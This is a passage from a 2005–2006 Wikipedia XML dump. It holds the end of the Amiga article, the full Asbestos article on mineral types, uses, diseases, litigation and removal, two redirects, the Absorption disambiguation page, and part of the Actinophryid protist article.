# During the project evaluations, the Tramiel's discovered Atari Inc.'s previous agreement with Amiga and used it to launch a countersuit against Commodore via Amiga on [[August 13]]th.&lt;br/&gt;All suits were eventually dropped and/or settled out of court.
* [[Steve Jobs]] was shown the original prototype for the first Amiga (Amiga 1000) before it had been purchased by Commodore, and said there was &quot;too much hardware&quot;. He was working on [[Apple Macintosh|Macintosh]] at the time.
* Two of the designers of the original Amiga, [[RJ Mical]] and [[Dave Needle]], would later go on to design the [[Atari Lynx]], giving it a framebuffer based display with a blitter very similar to that in the Amiga. The two would also go on to work on the [[3DO Interactive Multiplayer]].
* When [[Great Valley Products]] first released their [[68030]] accelerator board for the Amiga 2000, it ran Apple's MacOS faster than any real Mac. Apple soon caught up, though.

==See also==
*[[AmigaOS]]
*[[Amiga demos]]
*[[Amiga games]]
*[[Unix Amiga Emulator]]
*[[SCA virus]]
*[[Gateway 2000]]
*[[List of arcade games ports to Amiga]]

==References==
*[[John J. Anderson]], &quot;Amiga Lorraine: finally, the 'next generation Atari'?&quot; ''[[Creative Computing]]'', April 1984 [http://www.atarimagazines.com/creative/v10n4/150_Amiga_Lorraine_finally_.php]
*[[Dave Haynie]]. &quot;The Amiga A3000+ System Specification&quot;. 1991 DevCon Release. July 17, 1991. [http://www.thule.no/haynie/research/a3000p/docs/a3000p.pdf]

==External links==
===News and discussions===
*[http://www.amiga.org/ Amiga.org]
*[http://www.amigaworld.net/ Amigaworld.net] - Official support forum for the [[AmigaOne]].
*[http://www.ann.lu/ ANN]
*[http://obligement.free.fr/ Obligement] - magazine about AmigaOS and MorphOS.
*[http://www.classicamiga.com/ ClassicAmiga.com] - Amiga game database and discussion forum.
*[http://www.lemonamiga.com/ Lemon Amiga] - A friendly Amiga community mostly focusing on games.
*[http://www.abime.net/ Abime.net] - Amiga addicts sanctuary, an Amiga community.
*[http://www.the-amiga-zone.com/ The Amiga Zone] - Amiga emulation and discussion forum.

===Software===
*[http://os.amigaworld.de/index.php?lang=en AmigaOS] - Unofficial AmigaOS Support Homepage
*[http://www.aminet.net/ Aminet] - Public domain and freely available software for AmigaOS.
*[http://www.os4depot.net/ OS4Depot] - Unofficial repository for AmigaOS 4.x software.
*[http://amiga.sourceforge.net/ Amiga.sf] - Your source to Amiga ports.

===Links directory===
* [http://amp.dascene.net/links.php A big Amiga web directory]

===Link pages===
*[http://www.amigarealm.com/ Amiga Realm] - Amiga Internet Directory Service and Archive Resource.
*[http://amiga1200.deviantart.com/ Amiga Links List] - A 'Best of' List of Useful Amiga Links

===History===
*[http://www.amigahistory.co.uk/ Amiga History Guide]
*[http://haynie.amigaworld.de/ The Dave Haynie Archives]
*[http://braeburn.ath.cx/modules.php?op=modload&amp;name=News&amp;file=article&amp;sid=1&amp;mode=thread&amp;order=0&amp;thold=0 The History of the Amiga]
*[http://www.amiga.org/modules/xoopsfaq/index.php?cat_id=4#q16 Amiga.org] links

===Other===
*[http://os4.hyperion-entertainment.biz AmigaOS 4.0] - Official OS4 site from Hyperion Entertainment.
*[http://www.freiburg.linux.de/~uae UAE] - UAE Amiga Emulator.
*[http://www.winuae.net WinUAE] - Official Windows port of UAE.
*[http://amp.dascene.net Amiga Music Preservation] - All about the Amiga Audio/Module/Protracker/Mods/Modules scene.
*[http://www.amigawiki.com Amiga Wiki]
*[http://www.blazemonger.com/BM/ BLAZEMONGER] - Amiga humor.
*[http://www.pouet.net Pouet] - A demoscene portal.
*[http://ada.planet-d.net Amiga Demoscene Archive] - Demoscene portal entirely dedicated to Amiga.
*[http://www.amiga-hardware.com/ The Big Book of Amiga Hardware]
*[http://www.softpres.org/ The Software Preservation Society] - Dedicated to the preservation of classic software for the Amiga and other platforms.
*[http://amiga.resource.cx/ The Amiga Hardware Database] - Collection of Amiga hardware expansions and the Amiga models.
*[http://www.jamesalanpatterson.com/amiga.html Jim's Amiga Commercial Page!] - Watch original Amiga commercials.
*[http://hol.abime.net/ Hall Of Light] - The database of Amiga games.
*[http://powerup.amigaworld.de/index.php?lang=en PowerUP] - Unofficial PowerUP Support Homepage. 
*[http://grex.amigaworld.de/index.php?lang=en G-Rex PCI] - Unofficial G-Rex PCI Support Homepage.
*[http://www.amiganostalgia.com AmigaNostalgia] - Retro software for all your emulation needs.

{{CBM computers}}

[[Category:Home computers]]
[[Category:Personal computers]]
[[Category:Commodore Amiga|*Amiga]]
[[Category:CBM hardware]]

[[ca:Amiga]]
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[[es:Commodore Amiga]]
[[fr:Amiga]]
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    </revision>
  </page>
  <page>
    <title>Asbestos</title>
    <id>1981</id>
    <revision>
      <id>42044311</id>
      <timestamp>2006-03-03T12:16:04Z</timestamp>
      <contributor>
        <ip>217.75.122.74</ip>
      </contributor>
      <comment>/* Cleanup and the environment */</comment>
      <text xml:space="preserve">{{dablink|This page is about the group of minerals.  For the locations in [[Quebec]], see [[Asbestos, Quebec|Asbestos]] and [[Asbestos Regional County Municipality, Quebec|Asbestos Regional County Municipality]]}}

[[Image:Asbestos with muscovite.jpg|right|thumb|200px|Fibrous asbestos on [[muscovite]]]]
[[Image:Asbestos2USGOV.jpg|right|thumb|200px|Asbestos]]
[[Image:Asbestos3USGOV.jpg|thumb|200px|Asbestos]]

'''Asbestos''' (a misapplication of [[Latin]]: ''asbestos'' &quot;[[quicklime]]&quot; from [[Greek language|Greek]] ἄσβεστος: a-, &quot;not&quot;; sbestos, &quot;extinguishable&quot;) describes any of a group of fibrous [[metamorphic rock|metamorphic mineral]]s of the [[hydrous]] [[magnesium]] [[silicate]] variety. The name is derived for its historical use in lamp wicks; the resistance of asbestos to fire has long been exploited for a variety of purposes. It was used in fabrics such as [[Egypt]]ian burial cloths and [[Charlemagne]]'s tablecloth, which, according to legend, he threw in a fire to clean. Asbestos occurs naturally in many forms (see below); it is mined from metamorphic deposits.

When asbestos is used for its resistance to fire or heat, the fibers are typically mixed with [[cement]] or woven into fabric or mats.  It is used in [[brake]] shoes and [[gasket]]s for its heat resistance, and in the past was used on electric oven and hotplate wiring for its electrical insulation at elevated temperature, and in buildings for its flame-retardant and insulating properties, its [[tensile strength]], flexibility, and resistance to chemicals. However, the [[inhalation]] of some kinds of asbestos fibers causes various serious illnesses, including [[cancer]], and thus most uses of asbestos are banned in many countries.  [[Fiberglass]] has been found to be a suitable substitute for thermal insulation and woven [[ceramic]] fiber performs as well or better as an insulator of high-temperature electrical conductors. 

Most respirable asbestos fibers are invisible to the unaided human eye because their size is about 3.0-20.0 [[Micrometre|µm]] in length and can be as thin as 0.01 µm. Human hair ranges in size from 17 to 181 µm.[http://hypertextbook.com/facts/1999/BrianLey.shtml] Fibers ultimately form because when these minerals originally cooled and crystallized, they formed by the [[polymer]]ic molecules lining up parallel with each other and forming oriented [[crystal structure|crystal lattices]].  These crystals thus have three cleavage planes as other minerals and gemstones have.  But in their case, there are two cleavage planes that are much weaker than the third direction.  Thus when sufficient force is applied they tend to break along their weakest directions, resulting in a linear fragmentation pattern and hence a fibrous form.  This fracture process can keep occurring over and over until they have been broken down to their smallest unit dimensions.  For this reason, one larger asbestos fiber can ultimately become the source of hundreds of much thinner and smaller fibers in a normal environment over the course of time.  As they get smaller and lighter, they become more mobile and more easily entrained (wafted) into the air, where human respiratory exposures typically result.

Confusingly, the [[Modern Greek]] word ''άσβεστος'' means ''[[calcium oxide|quicklime]]''.

==Types of asbestos==
[[Image:Asbestos1USGOV.jpg|thumb|200px|Chrysotile asbestos]]
[[Image:Asbestos fibres.jpg|thumb|200px|Asbestos fibres]] 
*[[Chrysotile]], or ''white asbestos'', [[CAS registry number|CAS No.]] 12001-29-5, is obtained from Canadian [[serpentine]] rocks.  It is less [[friability|friable]] (and therefore less likely to be inhaled) than the other types and is the type most often used industrially. Chrysotile should not be confused with [[chrysolite]], a synonym of [[olivine]]. There is some evidence that this form of asbestos is not actually harmful when inhaled. However it should be noted that there is also evidence that this type of asbestos is harmful, although not perhaps as harmful as other forms (refer to UK Health &amp; Safety Commission report ''Asbestos: Effects on health of exposure to asbestos'', 1985). One formula given for Chrysotile is Na&lt;sub&gt;2&lt;/sub&gt;Fe&lt;sup&gt;2+&lt;/sup&gt;&lt;sub&gt;3&lt;/sub&gt;Fe&lt;sup&gt;3+&lt;/sup&gt;&lt;sub&gt;2&lt;/sub&gt;Si&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;22&lt;/sub&gt;(OH)&lt;sub&gt;2&lt;/sub&gt;.

*[[Amosite]], CAS No. 12172-73-5, also known as ''Grunerite'' or ''brown asbestos'', is an amphibole from [[Africa]], named as an [[acronym]] from Asbestos Mines of South Africa. One formula given for Amosite is Fe&lt;sub&gt;7&lt;/sub&gt;Si&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;22&lt;/sub&gt;(OH)&lt;sub&gt;2&lt;/sub&gt;.

*[[Crocidolite]], or ''blue asbestos'', CAS No. 12001-28-4, is an amphibole from Africa and [[Australia]].  It is the fibrous form of [[riebeckite]]. Blue asbestos is commonly thought of as the most dangerous type of asbestos (see above and below). One formula given for Crocidolite is Na&lt;sub&gt;2&lt;/sub&gt;Fe&lt;sup&gt;2+&lt;/sup&gt;&lt;sub&gt;3&lt;/sub&gt;Fe&lt;sup&gt;3+&lt;/sup&gt;&lt;sub&gt;2&lt;/sub&gt;Si&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;22&lt;/sub&gt;(OH)&lt;sub&gt;2&lt;/sub&gt;.

Notes: Serpentine rocks are those with curled fibres. [[Amphibole]]s have straight, needle-like fibres.

The amphiboles, in their fibrous form, are [[friability|friable]] and therefore the most carcinogenic, although they also exist in safer non-fibrous forms. Asbestos with particularly fine fibers is also referred to as &quot;amianthus&quot;.

Other asbestos minerals, such as [[tremolite]], CAS No. 77536-68-6, Ca&lt;sub&gt;2&lt;/sub&gt;Mg&lt;sub&gt;5&lt;/sub&gt;Si&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;22&lt;/sub&gt;(OH)&lt;sub&gt;2&lt;/sub&gt;; [[actinolite]] (or ''smaragdite''), CAS No. 77536-66-4, Ca&lt;sub&gt;2&lt;/sub&gt;(Mg, Fe)&lt;sub&gt;5&lt;/sub&gt;Si&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;22&lt;/sub&gt;(OH)&lt;sub&gt;2&lt;/sub&gt;; and [[anthophyllite]], CAS No. 77536-67-5, (Mg, Fe)&lt;sub&gt;7&lt;/sub&gt;Si&lt;sub&gt;8&lt;/sub&gt;O&lt;sub&gt;22&lt;/sub&gt;(OH)&lt;sub&gt;2&lt;/sub&gt;; are less-used industrially but can still be found in a variety of construction materials and insulations and occur in a few consumer products, such as talcum powders and vermiculite.  In the United States, the [[Environmental Protection Agency]] (EPA) has banned all construction-related products that have asbestos content of 1% or greater.  It has also banned asbestos in all other friable (easily crushed by finger pressure) products.

==Uses==

===Historic usage===
Items made of asbestos were held in so great an esteem as to be of equal value with gold; none but emperors and kings had napkins made of it. Some antiquaries have believed that ancients made shrouds of asbestos, wherein they burnt the bodies of their kings, in order to entirely preserve their ashes, and prevent their being mixed with those of wood, or other combustible materials commonly used in building funeral piles.{{ref label|1728|1|^}}

Others assert that the ancients used asbestos to make perpetual wicks for sepulchral lamps. In more recent centuries, asbestos was indeed used for this purpose. Although asbestos causes skin to itch upon contact, ancient literature indicates that it was prescribed for diseases of the skin, and particularly for the itch. It is possible that they used the term ''asbestos'' for [[alumen plumosum]], because the two terms have often been confused throughout history.{{ref label|1728|1|^}}

===Modern usage===
====Serpentine group====
Chrysotile is the form of asbestos from the serpentine group that has been used commercially.

In the [[United States]], chrysotile has been the most commonly used type of asbestos.  Chrysotile is often present in a wide variety of materials, including but not limited to: 
* sheetrock taping 
* mud and texture coats
* vinyl floor tiles, sheeting, adhesives and ceiling tiles
* plasters and stuccos
* roofing tars, felts, and shingles
* &quot;transite&quot; panels, siding, countertops, and pipes
* acoustical ceilings
* [[fireproofing]]
* putty
* caulk
* [[gasket]]s
* [[brake]] pads and shoes
* [[clutch]] plates
* stage curtains
* fire blankets

====Amphibole group====
Amosite and crocidolite were used in many products until the early [[1980s]]. The use of all types of asbestos in the amphibole group was banned in the mid-1980s. These products were mainly:
*Low density insulation board and ceiling tiles 
*asbestos cement sheets and pipes for construction, casing for water and electrical/telecommunication services
*thermal and chemical insulation (''i.e.'', fire rated doors, limpet spray, lagging and gaskets)

==Asbestos-related diseases==
===Asbestosis and cancer===
[[Image:Asbestos lungs.jpg|thumb|200px|right|Asbestos particles lodged in the lungs.]]
Strong concerns about the health hazards associated with asbestos had been described many times over the years. As early as [[1898]] the Chief Inspector of Factories of the United Kingdom reported to Parliament in his Annual Report about the &quot;evil effects of asbestos dust&quot;. He reported the &quot;sharp, glass like nature of the particles&quot; when allowed to remain in the air in any quantity, &quot;have been found to be injurious, as might have been expected&quot; (Report of the Select Committee [[1994]]). In [[1906]] a British Parliamentary Commission confirmed the first cases of asbestos [[death]]s in factories in Britain and recommended better ventilation and other safety measures. In [[1918]] a US insurance company produced a study showing premature deaths in the asbestos industry in the United States and in [[1926]] the Massachusetts Industrial Accidents Board processed the first successful compensation claim by a sick asbestos worker.  Many American injuries from asbestos exposure came from shipbuilders working during [[World War II]].[http://www.actuary.org/pdf/casualty/mono_dec01asbestos.pdf]

The fine asbestos fibres are easily inhaled, and can cause a number of respiratory complaints, including a potentially serious lung fibrosis called ''[[asbestosis]]''.  Exposure to asbestos has also been determined to cause a very serious form of [[cancer]], [[mesothelioma]], that occurs in the chest and abdominal cavities.  This aggressive disease is improperly referred to as a [[lung]] [[cancer]], as the malignant cells are derived from the [[mesothelium]], a tissue found on the inner walls of the chest and abdominal cavities and on the outer surface of the lungs rather than in the lung itself.

When inhaled, asbestos is [[carcinogen]]ic (i.e. promotes [[cancer]]). In the [[United States]] alone, it is estimated that ten thousand people die each year of asbestos-related diseases, such as mesothelioma, asbestosis, [[lung cancer]], and gastrointestinal cancer.  Asbestos has a synergistic effect with [[tobacco smoking]] in the causation of lung cancer.

===Other asbestos-related diseases===
*''asbestos warts'' &amp;#8211; caused when the sharp fibres lodge in the [[skin]] and are overgrown causing benign [[callus]]-like growths.

*''pleural plaques'' &amp;#8211; discrete fibrous or partially calcified thickened area which can be seen on [[X-ray]]s of individuals exposed to asbestos.  They do not become malignant nor normally cause any lung impairment.

*''diffuse pleural thickening'' &amp;#8211; similar to above and can sometimes be associated with asbestosis.  Usually no symptoms shown but if extensive can cause [[lung]] impairment.

==Litigation==
{{main|Asbestos and the law}}
In the United States, asbestos was one of the first hazardous air [[pollutant]]s regulated under Section 112 of the [[Clean Air Act (USA) (1970)|Clean Air Act]] of [[1970]].  One estimate says that, in the 20th century, more than 100 million Americans were exposed to asbestos in the workplace.[http://www.actuary.org/pdf/casualty/mono_dec01asbestos.pdf]

Today, lawsuits claiming that asbestos caused plaintiffs' diseases form a gigantic part of the total amount of lawsuits pending in American courts, with a cost of tens of billions of dollars for expenses, settlements, and judgments to date. The original asbestos manufacturers were driven into [[Chapter 11]] [[bankruptcy]]; plaintiffs have moved to suing corporations who had more peripheral connections to asbestos; the original plaintiffs have gone from those who had mesothelioma and other serious asbestos-related health problems to include those who merely were exposed to asbestos and wished to recover for their fear of future injury.[http://www.law.com/jsp/article.jsp?id=1032128856491]  Nearly every American industry has had asbestos defendants, and over 70 corporations have filed Chapter 11 bankruptcy in the face of heavy liability claims.[http://www.actuary.org/pdf/casualty/mono_dec01asbestos.pdf], [http://www.asbestossolution.org/bankruptcies.doc]  Since the late 1970s, approximately 6% of all filings in American courts each year were related to asbestos, leading to its perception as a sort of [[poster child]] of [[tort reform]] and the rampant lawsuit excesses of the United States.  A [[RAND]] [http://www.rand.org/publications/MG/MG162/ study] found that less than half the money spent on asbestos litigation went to injured parties, as opposed to attorneys' fees and administrative costs.  [[As of 2004]], asbestos cases result in about 600 to 700 appellate opinions per year (that is, including both federal and state courts); this number does not include other cases that were not appealed, or were settled or otherwise abandoned before trial.  Estimates of total American deaths attributable to asbestos range from 200,000 to 265,000 (according to the March 1991 Report of the Judicial Conference Ad Hoc Committee on Asbestos Litigation). The number of suits has increased, although the leading epidemiological study, cited by attorneys on both sides, suggests that deaths peaked in the 1990s. However, others contend that deaths from asbestosis and mesothelioma have not yet peaked.[http://www.ewg.org/reports/asbestos/facts/fact1.php]

&quot;Asbestos litigation today is, for the most part, a massively fraudulent enterprise that can rightfully take its place among the pantheon of such great American swindles as the [[Yazoo land scandal|Yazoo land frauds]], [[Credit Mobilier]] and [[Teapot Dome]],&quot; said [[Lester Brickman]], a professor at [[Cardozo Law School]], in a recent speech on the phenomenon.[http://www.manhattan-institute.org/html/cjf_40.htm]  For example, [[Fred Baron|Baron &amp; Budd, P.C.]], a renowned [[Dallas, Texas|Dallas]] plaintiff's firm, is alleged to have coached clients how to provide winning testimony against asbestos defendants.[http://thomas.loc.gov/cgi-bin/cpquery/T?&amp;report=sr118&amp;dbname=cp108]  In recent years, there have been many scandals over asbestos litigation because of the number of cases involving [[plaintiff]]s who had suffered no injury other than asymptomatic pleural plaques.  An investigation into claims filed for alleged [[silicosis]] found that 65% of the plaintiffs claiming to be suffering from silicosis had previously recovered from asbestos defendants by alleging that they had [[asbestosis]].[http://www.nytimes.com/2005/10/09/business/09tort.html?pagewanted=all], [http://www.caller2.com/2005/pics/PTO29jurisdiction.pdf]  Many attorneys, including [[Peter Angelos]], have become rich because they established lucrative relationships with unions that steered potential asbestos plaintiffs to their law firms in exchange for questionable financial relationships with union executives.[http://www.pointoflaw.com/articles/26WMEL.pdf], [http://www.motherjones.com/news/special_reports/mojo_400/7_angelos.html] In the mass screenings that would take place, it is alleged that asbestos-related ailments were systematically overdiagnosed.[http://papers.ssrn.com/sol3/papers.cfm?abstract_id=490682]

Because many companies filed for Chapter 11 bankruptcy in view of claims from plaintiffs (some of whom may have been uninjured), and because some of the earlier manufacturer bankruptcy proceedings underestimated future asbestos liability, many seriously injured workers received as little as ten cents on the dollar of the compensation due them.[http://www.shb.com/FileUploads/elephantinemass_725.pdf], [http://www.newamerica.net/index.cfm?pg=article&amp;DocID=278]

Asbestos-related cases were a rare sight on the [[U.S. Supreme Court]] [[docket]] prior to 1980, but since then, the Court has dealt with asbestos-injury cases in 1986, 1993, 1995, 1997, 1999, and 2002.  The 1997 and 1999 cases both involved giant settlement [[class action]]s that were designed to stabilize the liability of the largest defendants. Both settlements were ultimately overturned by the Court because they resolved the rights of future claimants who, because they were currently unknown, could not be given the notice that [[due process]] requires. 

[[Texas]] passed a reform bill requiring neutral medical screening in asbestos claims. Georgia passed a reform bill that requires an out-of-state plaintiff to provide &quot;prima facie evidence of physical impairment&quot; that shows &quot;to a reasonable degree of certainty&quot; that exposure to asbestos was &quot;a substantial contributing factor&quot; to the plaintiff's injuries. Plaintiffs' attorneys in the state complain that this would foreclose &quot;98%&quot; of the pending claims, and that the law is unconstitutional.[http://www.law.com/jsp/article.jsp?id=1127133334895] 

Congress is considering legislation, the [[Fairness in Asbestos Injury Resolution Act of 2005]], that would establish a $140 billion trust fund to supplant litigation as a means to compensate victims of asbestos.  Trial lawyers protest that the trust fund would undercompensate injured workers, while some [[conservative]]s argue that the trust fund does not do enough to prevent fraud; would override state reforms in Texas, Ohio, and Georgia; and would be too &quot;leaky&quot; to prevent future litigation problems.

Asbestos liability is one of the largest issues facing the global insurance industry today, with the industry contending that many are suing because they have been exposed but have not as yet contracted asbestos-related lung diseases, which have latency periods of 10-40 years, and because lawyers spend millions each year advertising to promote such lawsuits.[http://www.law.com/jsp/article.jsp?id=1032128833445], [http://www.law.com/jsp/article.jsp?id=1032128856491], [http://www.theatlantic.com/politics/nj/taylor2002-10-01.htm]

In [[Australia]], public attention was drawn in mid-2004 to [[James Hardie]]'s handling of its asbestos injury liabilities, following the revelations of a [[New South Wales]] government-sanctioned inquiry.

In [[Brazil]], prohibition of extraction and use of asbestos is currently under consideration.

In [[Japan]] too, recently there has been a spurt of lawsuits involving actual or potential damage due to the use of asbestos in schools and public places, following public outcry over asbestos-related deaths.

==Removal of asbestos==
[[Image:Asbestos-warning.jpg|right|thumb|200px|Structures containing asbestos are marked]]
Many buildings contain asbestos, which was used in spray-applied [[flame retardant]], thermal system insulation, and in a variety of other materials. Typically, asbestos was &quot;[[Flocking_(texture)|flocked]]&quot; above false ceilings, inside technical ducts, and in many other small spaces where firefighters would have difficulty gaining access. Structural components like asbestos panels were also used.  In residences, it was often a component of a type of flocked acoustic ceiling called &quot;popcorn ceiling&quot;, until its production was banned in the U.S. in 1978.  However, the ban allowed installers to use up remaining stocks, so houses built as late as 1986 could still have asbestos in their acoustic ceilings.  The only way to be sure is to remove a sample and have it tested by a competent laboratory.

Depending on how and where asbestos was applied, it might not pose any risk to most users of the building.  If the fibers cannot dislodge themselves, they cannot be inhaled, and thus the risk is absent. 

However, with certain ways of applying asbestos, particularly flocking, asbestos fibers may gradually drop off into the air. Furthermore, in all cases, asbestos poses special hazards to maintenance personnel who have to drill holes in walls for installation of cables or pipes. 

Also, even if the workers are protected, such maintenance operation may release fibers into the air, which may be inhaled by other users later. As a consequence, interventions in areas where asbestos is present often have to follow stringent procedures.

The removal of asbestos from a building is quite difficult because of the above constraints. If removal is to be performed when users are still present in the building, it is usually necessary to relocate some of them temporarily.  Typically, the part of the building from which asbestos is being removed has to be sealed off in order to prevent contamination of the other areas. 

Even if the building is closed to normal users, it is necessary to seal it off from outside atmosphere so that no accessible air is contaminated. Accordingly, asbestos removal projects are long and costly. Examples of long asbestos removal enterprises include the [[Jussieu Campus]] (begun circa 1996 and still going on [[as of 2005]]) and the ''[[Tour Montparnasse]]'' (in 2005, projected duration was 3 years if the tower was emptied of its users, and 10 years if it was not).

An asbestos-containing building that is to be torn down may have to be sealed, and to have its asbestos safely removed first before ordinary demolition can be performed.  The asbestos removal may take longer and cost more than the actual tearing-down of the building.

== Controversy == 

As with some other environmental prohibitions like [[DDT]] and [[CFC]]s, the movement to ban asbestos has many critics, some of whom claim either that the substance in question is not harmful, or that the ban does more harm than good [http://spiderjohnson.com/asbestos.html]. 

Among the arguments around asbestos prohibition are:

* The view that the [[shuttle Challenger]] exploded because the maker of O-ring putty was pressured by the EPA into ceasing production of its more temperature-resistant, asbestos-laden putty, prompting replacement with an inferior putty, which had continual problems of a sort which could have caused the O-ring leak and subsequent explosion.

* The &quot;Amphibole Hypothesis&quot; states that Chrysotile asbestos is not as harmful as asbestos from the amphibole group.  Several studies have been conducted which support this conclusion.  Criticisms have been raised about the methodology used in these studies.  Several other studies have been conducted which contradict the &quot;Amphibole Hypothesis&quot; [http://www.cdc.gov/niosh/pdfs/97-162-d.pdf].

* Some countries, notably Canada, still use Chrysotile asbestos [http://www.chrysotile.com/en/chrysotile/regulation/qc-gov.aspx].  Canada has a significant economic interest in the mining of Chrysotile.

* The question of why asbestos is also banned in circumstances where inhalation is nearly impossible, such as when it's being included in sealed areas already dangerous to human beings, instead of simply when it might be used as insulation in a ventilated area, or other similar cases which actually expose it to people against their will.

* Critics argue that where asbestos has been banned, its roles were taken by products which are often either inferior, or far more expensive. They argue that this has a negative impact on society as a whole, which (especially if the previous arguments are true in whole or part) may be greater than the benefit of its removal.

==See also==
*[[Eternit]]
*[[List of minerals]]
*[[Vermiculite]]
*[[Asbestine]]

==References==
#{{note label|1728|1|^}}{{1728}} [http://digicoll.library.wisc.edu/cgi-bin/HistSciTech/HistSciTech-idx?type=turn&amp;entity=HistSciTech000900240192&amp;isize=L]

==External links==
* [http://www.cmhc-schl.gc.ca/en/burema/gesein/abhose/abhose_ce03.cfm]

===Mineral links===
*[http://webmineral.com/data/Parachrysotile.shtml Parachrysotile (asbestos)] at the webmineral.com Mineral Database
*[http://www1.umn.edu/eoh/hazards/hazardssite/asbestos/asbestosintro.html Univ. of Minn.: Asbestos]

===Health===
*[http://hesa.etui-rehs.org/uk/dossiers/dossier.asp?dos_pk=6 Asbestos and Occupational Health in the World]
*[http://www.atsdr.cdc.gov/HEC/CSEM/asbestos/index.html Case Studies in Environmental Medicine: Asbestos Toxicity]
*[http://www.safetyline.wa.gov.au/institute/level2/course21/lecture95/l95_04.asp Health History Source: Article by the SafetyLine Institute - WorkSafe - Western Australian state government]
*[http://www.hse.gov.uk/asbestos/ British Government Health and Safety Executive (HSE)]
*[http://www.catalystmedia.org.uk/issues/nerve7/asbestos_sg.htm An article on the health impact of asbestos from Liverpool's 'Nerve' magazine]
* [http://dailysmarts.com/nucleus/?itemid=4 Samuel Turner, the history of the man who industrialized asbestos]
*[http://www.asbestosdiseases.org.au/asbestosinfo/wittenoom_tragedies.htm The Wittenoom Tragedy], Asbestos Diseases Society of Australia.

===Cleanup and the environment===
*[http://www.epa.gov/asbestos/index.html U.S. EPA Asbestos Home Page]
*[http://www.asbestosnews.com/html/schools.html Asbestos in Schools]
*[http://www.tuc.org.uk/h_and_s/index.cfm?mins=262 Health and Safety - Asbestosis (TUC Resources, UK)]
*[http://www.mccord-museum.qc.ca/en/keys/webtours/VQ_P3_11_EN.html White Gold Pioneers: Asbestos Mining] &amp;mdash; The origins of asbestos mining, illustrated with many early photographs


[[Category:Asbestos]]

[[cs:Azbest]]
[[da:Asbest]]
[[de:Asbest]]
[[es:Asbesto]]
[[eo:Asbest]]
[[fr:Amiante]]
[[id:Asbestos]]
[[it:Amianto]]
[[he:אזבסט]]
[[nl:Asbest]]
[[ja:石綿]]
[[pl:Azbest]]
[[pt:Asbesto]]
[[ru:Асбест (материал)]]
[[simple:Asbestos]]
[[fi:Asbesti]]
[[sv:Asbest]]
[[uk:Азбест]]
[[zh:石棉]]</text>
    </revision>
  </page>
  <page>
    <title>A.L.I.C.E</title>
    <id>1982</id>
    <revision>
      <id>29104338</id>
      <timestamp>2005-11-24T02:45:01Z</timestamp>
      <contributor>
        <username>TDS</username>
        <id>536053</id>
      </contributor>
      <comment>Fixed double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[ALICE]]</text>
    </revision>
  </page>
  <page>
    <title>Arab countries</title>
    <id>1984</id>
    <revision>
      <id>21710003</id>
      <timestamp>2005-08-24T07:22:55Z</timestamp>
      <contributor>
        <username>Andrewbot</username>
        <id>386266</id>
      </contributor>
      <minor />
      <comment>Robot: Fixing double redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Arab world]]</text>
    </revision>
  </page>
  <page>
    <title>Absorption</title>
    <id>1985</id>
    <revision>
      <id>41232563</id>
      <timestamp>2006-02-25T23:23:33Z</timestamp>
      <contributor>
        <username>MWhalley</username>
        <id>861049</id>
      </contributor>
      <text xml:space="preserve">{{wiktionary|absorption}}
'''Absorption''' may refer to:

*In physics:
**[[absorption (chemistry)]] - absorption of particles of gas or liquid in liquid or solid material as studied in [[physical chemistry]]
**[[absorption (optics)]] - absorption of [[photon]]s by a material
**[[Absorption (acoustics)]] - absorption of [[sound]] waves by a material
*[[Absorption (economics)]] refers to the total demand of an economy for goods and services both from within and without the economy
*In mathematics, the [[absorption law]] (&lt;math&gt;a\vee (a\wedge b)=a\wedge (a\vee b)=a&lt;/math&gt;) defines a [[lattice (order)|lattice]], where the binary operations &lt;math&gt;\wedge&lt;/math&gt; and &lt;math&gt;\vee&lt;/math&gt; are called [[meet]] and [[join]], respectively.

*In Psychology, absorption is a measure of one's capacity to become totally focussed. Total absorption is often termed '[[Flow (psychology)]]'. The Tellegen Absorption Scale is a reliable questionnaire measure of absorption.

*In Medicine/Biology, adsorption may refer to uptake of substances by the [[GI tract]], see [[Digestion]]. Also see [[Osmosis]].

Absorption should not be confused with ''[[adsorption]]'', the formation of a liquid or gas film on a solid surface.

{{disambig}}

[[da:Absorption]]
[[de:Absorption]]
[[pl:Absorpcja]]
[[nl:Absorptie]]
[[ru:Абсорбция]]
[[sl:Absorpcija]]
[[tl:Absorsyon]]</text>
    </revision>
  </page>
  <page>
    <title>Actinophryid</title>
    <id>1986</id>
    <revision>
      <id>38024218</id>
      <timestamp>2006-02-03T17:55:26Z</timestamp>
      <contributor>
        <ip>65.205.197.100</ip>
      </contributor>
      <text xml:space="preserve">{{Taxobox
| color = khaki
| name = Actinophryids
| image = Actinophrys sol.jpg
| image_width = 200px
| image_caption = ''Actinophrys sol''
| regnum = [[Protist]]a
| divisio = [[Heterokont]]ophyta
| classis = [[Axodine|Actinochrysophyceae]]
| ordo = '''Actinophryida'''
| ordo_authority = [[Hartmann]] 1913
| subdivision_ranks = Genera
| subdivision = 
''Actinophrys''&lt;br /&gt;
''Actinosphaerium''
}}
The '''actinophryids''' are a small, familiar group of [[heliozoa]]n protists.  They are the most common heliozoa in fresh water, and are especially frequent in lakes and rivers, but a few are found in marine and soil habitats as well.  Each is unicellular and roughly spherical in shape, without any shell or test, and with many pseudopodia suported by axopods radiating outward from the cell body, which adhere to passing prey and allows it to roll or float about.  The outer portion of the cell, or ectoplasm, is distinct and is filled with many tiny [[vacuole]]s, which assist in flotation.  A few contractile vacuoles around the periphery of the cell expel excess water, and are visible as clear bulges when full.

There are two genera included here.  ''Actinophrys'' have a single, central nucleus.  Most are around [[1 E-5 m|40-50]] &amp;mu;m in diameter, with axopods up to 100 &amp;mu;m in length, though this varies.  ''Actinosphaerium'' are several times larger, from [[1 E-4 m|200-1000]] &amp;mu;m in diameter, with many nuclei, and are found exclusively in fresh water.  Two other genera, ''Echinosphaerium'' and ''Camptonema'', have been described but appear to be synonyms.

Reproduction takes place by fission, with open [[mitosis]].  Under unfavourable conditions, the organism will form a cyst, which is multi-walled and covered in spikes.  While encysted it may undergo a peculiar process of [[autogamy]] or self-fertilization, where it goes through [[meiosis]] and divides to form two gametes, which then fuse together again.  This is the only form of [[sexual reproduction]]  that occurs within the group, though it is really more genetic reorganization than reproduction.

